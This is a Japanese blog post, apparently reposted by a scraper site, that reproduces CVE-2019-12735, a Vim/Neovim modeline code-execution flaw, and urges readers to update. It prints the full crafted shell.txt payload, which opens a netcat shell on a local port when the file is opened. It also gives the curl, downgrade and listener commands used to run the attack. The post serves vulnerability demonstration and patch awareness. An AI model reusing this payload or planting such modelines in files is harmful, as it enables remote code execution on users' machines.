Vim or NeoVimを使っている人は、すぐにアップデートしましょう [CVE-2019-12735]
結構、簡単なハックでリモート接続が可能になる脆弱性があったので、試してみました。
対応するVimのバージョンなどは以下のとおりです。
Product: Vim < 8.1.1365, Neovim < 0.3.6
Type: Arbitrary Code Execution
CVE: CVE-2019-12735
Date: 2019-06-04
Author: Arminius (@rawsec)
Option: :set modeline(false)
vimはテキストファイルをsourceにしてコマンドを実行できます。それを悪用して、nc(netcat)
でサーバーを起動し、そこに接続します。特別に細工されたテキストファイルを開くことによって、modelineを介して任意のコードを実行できる脆弱性ということらしいです。
shell.txt
[?7lSNothing here.:silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: [1G[KNothing here."[D
$ mkdir -p tmp
$ cd tmp
$ touch {1..2}
$ sudo pacman -S neovim --noconfirm
$ downgrade neovim
0.3.5
$ curl -sLO https://raw.githubusercontent.com/numirias/security/master/data/2019-06-04_ace-vim-neovim/shell.txt
$ nvim shell.txt
---------------
$ nc -vlp 9999
ls
1
2
neovimの場合、成功するときとしない時がありました。何度かやってみるとできると思う。
Author And Source
この問題について(Vim or NeoVimを使っている人は、すぐにアップデートしましょう [CVE-2019-12735]), 我々は、より多くの情報をここで見つけました https://qiita.com/syui/items/da358d56cb2faf6560c9著者帰属:元の著者の情報は、元のURLに含まれています。著作権は原作者に属する。
Content is automatically searched and collected through network algorithms . If there is a violation . Please contact us . We will adjust (correct author information ,or delete content ) as soon as possible .